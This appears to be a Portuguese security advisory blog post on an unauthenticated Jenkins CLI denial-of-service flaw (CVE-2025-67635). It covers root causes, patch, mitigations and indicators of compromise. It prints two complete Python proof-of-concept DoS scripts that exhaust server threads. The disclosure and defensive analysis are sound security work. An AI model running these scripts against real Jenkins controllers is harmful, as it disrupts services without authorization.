Índice

Título
Título
Índice
Índice
Índice
Título
Título
Título

Ataques

CVE-2025-67635: DoS não autenticado no endpoint do plain CLI do Jenkins

cover-jenkins-cli-unauth-dos (https://unsplash.com/photos/a-black-and-white-photo-of-a-staircase-315M82HdrH4)
cover-jenkins-cli-unauth-dos (https://unsplash.com/photos/a-black-and-white-photo-of-a-staircase-315M82HdrH4)
cover-jenkins-cli-unauth-dos (https://unsplash.com/photos/a-black-and-white-photo-of-a-staircase-315M82HdrH4)
cover-jenkins-cli-unauth-dos (https://unsplash.com/photos/a-black-and-white-photo-of-a-staircase-315M82HdrH4)
Camilo Vera

Analista de segurança

Atualizado

12 de dez. de 2025

5 min

TL;DR:

  • O endpoint do plain CLI do Jenkins (/cli?remoting=false) emparelha duas requisições POST (download/upload) por meio de um UUID de Session compartilhado e é acessível sem permissão Overall/Read.

  • Dois bugs se combinam: Um HashMap sem sincronização em CLIAction perde uma metade da sessão (race condition), e os loops de espera do protocolo CLI (ServerSideImpl.run, FullDuplexHttpService.upload) não têm timeout.

  • Atacantes podem concluir suas chamadas HTTP em milissegundos enquanto deixam threads do Jetty bloqueadas por 15 segundos (janela da race condition) ou indefinidamente (protocolo abandonado), causando um DoS assimétrico em todo o controller.

  • Afeta core ≤ 2.540 e LTS ≤ 2.528.2 (CWE-362/CWE-404, CVSS: 7,5). Corrigido em 2.541 e 2.528.3 usando ConcurrentHashMap, adicionando timeouts no handshake e fechando streams em caso de erro.

  • Mitigue agora: Atualize, ou bloqueie o acesso ao endpoint do plain CLI a partir de redes não confiáveis e capture thread dumps para confirmar que não há threads travadas em CLIAction$ServerSideImpl.run ou FullDuplexHttpService.upload/download.

O que o endpoint faz

O CLI sem Remoting constrói um canal full-duplex a partir de duas requisições POST HTTP:

  1. Lado download: Side: download, abre /cli?remoting=false, o servidor escreve um byte e aguarda a metade upload

  2. Lado upload: Side: upload, mesmo UUID de Session, fornece o input stream

hudson.cli.CLIAction conecta isso ao jenkins.util.FullDuplexHttpService, armazenando as sessões ativas em um registro compartilhado entre requisições.

Causa raiz #1: Registro de sessões sem sincronização (race condition)

CLIAction mantém o mapa de sessões em um HashMap simples compartilhado por todas as threads de requisição:

// core/src/main/java/hudson/cli/CLIAction.java:83
private final transient Map<UUID, FullDuplexHttpService> duplexServices = new HashMap<>();

FullDuplexHttpService.Response.generateResponse chama services.put(uuid, service) para o lado download e services.get(uuid) para o lado upload. Como HashMap não é thread-safe, puts/gets concorrentes sob carga podem

  • retornar null para um lado download válido;

  • perder entradas durante um resize;

  • deixar threads de download dentro de FullDuplexHttpService.download aguardando até 15 segundos por um upload que já chegou.

O resultado: Cada par afetado pela race condition bloqueia uma thread do servlet durante todo o timeout enquanto os sockets do atacante se fecham imediatamente, causando um DoS assimétrico e violando o requisito de segurança “Tornar fluxos de lógica crítica thread safe”.

Causa raiz #2: Timeouts ausentes no protocolo (bloqueio determinístico)

Mesmo quando as duas metades se emparelham corretamente, o handshake do protocolo pode entrar em deadlock porque nenhum lado tem timeout:

// core/src/main/java/hudson/cli/CLIAction.java:300
synchronized (this) {
    while (!ready) {      // waits forever if client never sends "start"
        wait();
    }
}
// core/src/main/java/jenkins/util/FullDuplexHttpService.java:145
while (!completed) {       // no deadline if download side dies early
    wait();
}

Se o cliente encerrar a conexão antes de enviar frames CLI, a thread de download fica bloqueada em ServerSideImpl.run() e a thread de upload fica bloqueada em upload() sem timeout, consumindo duas threads do Jetty por tentativa até esgotar o controller.

Notas de exploração

Ambos os vetores exigem apenas conectividade de rede ao /cli:

  • Cenário A (race condition): Dispare pares download/upload sobrepostos com leve jitter para que o lado upload ocasionalmente receba null. As threads se acumulam em FullDuplexHttpService.download por cerca de 15 segundos cada.

  • Cenário B (abandono): Abra ambas as metades, deixe-as emparelhar, e depois feche sem enviar frames CLI. As threads ficam em CLIAction$ServerSideImpl.run e FullDuplexHttpService.upload indefinidamente, sem necessidade de janela de timing.

Abaixo estão as PoCs exatas compartilhadas com a equipe de segurança do Jenkins:

PoC: racecond_a.py (race no HashMap, dois downloads por UUID)

#!/usr/bin/env python3
import requests
import uuid
import concurrent.futures
import sys

def create_download(jenkins_url, session_id, session):
    headers = {'Session': session_id, 'Side': 'download'}
    try:
        response = session.post(
            f"{jenkins_url}/cli?remoting=false",
            headers=headers,
            data=b'',
            timeout=20
        )
        return response.status_code
    except requests.exceptions.Timeout:
        return 'TIMEOUT'
    except Exception:
        return 'ERROR'

def main(jenkins_url, num_sessions):
    session = requests.Session()
    adapter = requests.adapters.HTTPAdapter(
        max_retries=0,
        pool_connections=200,
        pool_maxsize=200
    )
    session.mount('http://', adapter)
    session.mount('https://', adapter)
    
    with concurrent.futures.ThreadPoolExecutor(max_workers=200) as executor:
        futures = []
        
        for i in range(num_sessions):
            session_id = str(uuid.uuid4())
            futures.append(executor.submit(create_download, jenkins_url, session_id, session))
            futures.append(executor.submit(create_download, jenkins_url, session_id, session))
        
        timeouts = 0
        for future in concurrent.futures.as_completed(futures):
            if future.result() == 'TIMEOUT':
                timeouts += 1
    
    print(f"Timeouts: {timeouts}/{num_sessions*2}")

if __name__ == "__main__":
    jenkins_url = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8081"
    num_sessions = int(sys.argv[2]) if len(sys.argv) > 2 else 1000
    main(jenkins_url, num_sessions)

PoC: racecond_b.py (abandono de protocolo, bloqueio determinístico)

#!/usr/bin/env python3
import socket
import struct
import uuid
import time
import threading
import sys

JENKINS_HOST = "localhost"
JENKINS_PORT = 8081

OP_ARG = 0
OP_LOCALE = 1
OP_ENCODING = 2

def send_cli_frame(sock, opcode, data=b""):
    if isinstance(data, str):
        data = data.encode('utf-8')
    length = len(data)
    frame = struct.pack('>I', length) + struct.pack('B', opcode) + data
    sock.sendall(frame)

def establish_download(session_id, duration=30):
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((JENKINS_HOST, JENKINS_PORT))
        request = f"""POST /cli?remoting=false HTTP/1.1\r
Host: {JENKINS_HOST}:{JENKINS_PORT}\r
Session: {session_id}\r
Side: download\r
Content-Length: 0\r
Connection: keep-alive\r
\r
"""
        sock.sendall(request.encode())
        response = b""
        while b"\r\n\r\n" not in response:
            chunk = sock.recv(1)
            if not chunk:
                return False
            response += chunk
        sock.recv(1)
        time.sleep(duration)
        sock.close()
        return True
    except Exception:
        return False

def establish_upload_without_start(session_id, duration=30):
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((JENKINS_HOST, JENKINS_PORT))
        request = f"""POST /cli?remoting=false HTTP/1.1\r
Host: {JENKINS_HOST}:{JENKINS_PORT}\r
Session: {session_id}\r
Side: upload\r
Transfer-Encoding: chunked\r
Connection: keep-alive\r
\r
"""
        sock.sendall(request.encode())
        response = b""
        while b"\r\n\r\n" not in response:
            chunk = sock.recv(1)
            if not chunk:
                return False
            response += chunk
        send_cli_frame(sock, OP_ARG, "help")
        time.sleep(0.05)
        send_cli_frame(sock, OP_LOCALE, "en_US")
        time.sleep(0.05)
        send_cli_frame(sock, OP_ENCODING, "UTF-8")
        time.sleep(duration)
        sock.close()
        return True
    except Exception:
        return False

def create_abandoned_session(session_id, duration=30):
    download_thread = threading.Thread(
        target=establish_download,
        args=(session_id, duration),
        daemon=True
    )
    download_thread.start()
    time.sleep(0.3)
    upload_thread = threading.Thread(
        target=establish_upload_without_start,
        args=(session_id, duration),
        daemon=True
    )
    upload_thread.start()
    return download_thread, upload_thread

def main(num_sessions):
    threads = []
    for i in range(num_sessions):
        session_id = str(uuid.uuid4())
        download_t, upload_t = create_abandoned_session(session_id, duration=60)
        threads.extend([download_t, upload_t])
        time.sleep(0.1)
    
    for t in threads:
        t.join()
    
    print(f"Created {num_sessions} sessions")

if __name__ == "__main__":
    num_sessions = int(sys.argv[1]) if len(sys.argv) > 1 else 500
    main(num_sessions)

Evidência

  • Thread dump (Cenário B, controller de teste Jenkins 2.516.2): Travados exatamente nos call sites sem timeout:

at hudson.cli.CLIAction$ServerSideImpl.run(CLIAction.java:319)
- locked <0x00000000f0d9ba90> (a hudson.cli.CLIAction$ServerSideImpl)
at jenkins.util.FullDuplexHttpService.download(FullDuplexHttpService.java:119)

at jenkins.util.FullDuplexHttpService.upload(FullDuplexHttpService.java:146)
- locked <0x00000000f0d9aaa0> (a hudson.cli.CLIAction$PlainCliEndpointResponse$1)
at jenkins.util.FullDuplexHttpService$Response.generateResponse(FullDuplexHttpService.java:191)
  • Evidência em vídeo: Reprodução completa do crash contra um controller recém-instalado.

  • Em um build vulnerável, você verá dezenas de threads de requisição aguardando nesses call sites, e chamadas CLI regulares começarão a dar timeout.

Impacto

  • DoS não autenticado: Não é necessário Overall/Read para acessar /cli?remoting=false

  • Baixo custo para o atacante: Os sockets fecham imediatamente, o servidor retém o trabalho (15 segundos por tentativa de race, infinito para abandono)

  • Degradação de todo o controller: As threads do servlet e os fluxos de E/S se acumulam, outros endpoints começam a dar timeout

Detalhes do patch

Commit principal: efa1816

  • CLIAction agora armazena as sessões em um ConcurrentHashMap, eliminando as perdas do HashMap com race conditions que potencializavam o DoS assimétrico.

  • ServerSideImpl.run e FullDuplexHttpService.upload adotaram waits limitados por CONNECTION_TIMEOUT com wake-ups de 1 segundo e logs de DEBUG, de modo que handshakes abandonados se desfazem em vez de estacionar threads.

  • PlainCLIProtocol agora sempre chama side.handleClose() em um bloco finally, garantindo que ambas as metades se desmontem mesmo diante de erros de leitura ou exceções de runtime.

  • Foi adicionada cobertura de regressão em Security3630Test (JUnit 5): Reduz o timeout do CLI para testes, exercita a race condition anterior com invocações CLI concorrentes e verifica que as threads são liberadas após streams truncados.

  • Efeito final: O emparelhamento de download/upload do CLI agora falha rápido e libera threads do Jetty em vez de bloquear indefinidamente aguardando contrapartes ausentes.

  • As alterações restauram a conformidade do path do CLI full-duplex com o requisito “Tornar os fluxos de lógica crítica thread safe”.

Referências do CVE e advisory

Correção e hardening

Se você não puder atualizar imediatamente, faça o seguinte:

  • Desabilite ou bloqueie o acesso ao endpoint do plain CLI a partir de redes não confiáveis; prefira o WebSocket CLI com autenticação adequada.

  • Reduza os limites de threads do Jetty somente como último recurso (não elimina o bug).

  • Monitore thread dumps buscando estados de wait em CLIAction$ServerSideImpl.run e FullDuplexHttpService.upload/download.

Indicadores de comprometimento

  • Mensagens repetidas de IOException: No download side found for <uuid> nos logs.

  • Thread dumps mostrando muitos TIMED_WAITING em FullDuplexHttpService.download ou WAITING em CLIAction$ServerSideImpl.run / FullDuplexHttpService.upload.

  • Picos de requisições a /cli?remoting=false sem headers de autenticação.

Aplique o patch imediatamente. Este é um path de DoS fácil e acessível pela rede em instalações de Jenkins com configuração padrão.

Get started with Fluid Attacks' PTaaS right now

Tags:

cibersegurança

vulnerabilidade

software

exploit

pentesting

Assine nossa newsletter

Mantenha-se atualizado sobre nossos próximos eventos e os últimos posts do blog, advisories e outros recursos interessantes.

Comece seu teste gratuito de 21 dias

Descubra os benefícios de nossa solução de Hacking Contínuo, da qual empresas de todos os tamanhos já desfrutam.

Comece seu teste gratuito de 21 dias

Descubra os benefícios de nossa solução de Hacking Contínuo, da qual empresas de todos os tamanhos já desfrutam.

Comece seu teste gratuito de 21 dias

Descubra os benefícios de nossa solução de Hacking Contínuo, da qual empresas de todos os tamanhos já desfrutam.

Comece seu teste gratuito de 21 dias

Descubra os benefícios de nossa solução de Hacking Contínuo, da qual empresas de todos os tamanhos já desfrutam.

As soluções da Fluid Attacks permitem que as organizações identifiquem, priorizem e corrijam vulnerabilidades em seus softwares ao longo do SDLC. Com o apoio de IA, ferramentas automatizadas e pentesters, a Fluid Attacks acelera a mitigação da exposição ao risco das empresas e fortalece sua postura de cibersegurança.

Consulta IA sobre Fluid Attacks

Assine nossa newsletter

Mantenha-se atualizado sobre nossos próximos eventos e os últimos posts do blog, advisories e outros recursos interessantes.

As soluções da Fluid Attacks permitem que as organizações identifiquem, priorizem e corrijam vulnerabilidades em seus softwares ao longo do SDLC. Com o apoio de IA, ferramentas automatizadas e pentesters, a Fluid Attacks acelera a mitigação da exposição ao risco das empresas e fortalece sua postura de cibersegurança.

Assine nossa newsletter

Mantenha-se atualizado sobre nossos próximos eventos e os últimos posts do blog, advisories e outros recursos interessantes.

Mantenha-se atualizado sobre nossos próximos eventos e os últimos posts do blog, advisories e outros recursos interessantes.

As soluções da Fluid Attacks permitem que as organizações identifiquem, priorizem e corrijam vulnerabilidades em seus softwares ao longo do SDLC. Com o apoio de IA, ferramentas automatizadas e pentesters, a Fluid Attacks acelera a mitigação da exposição ao risco das empresas e fortalece sua postura de cibersegurança.

Assine nossa newsletter

Mantenha-se atualizado sobre nossos próximos eventos e os últimos posts do blog, advisories e outros recursos interessantes.

Mantenha-se atualizado sobre nossos próximos eventos e os últimos posts do blog, advisories e outros recursos interessantes.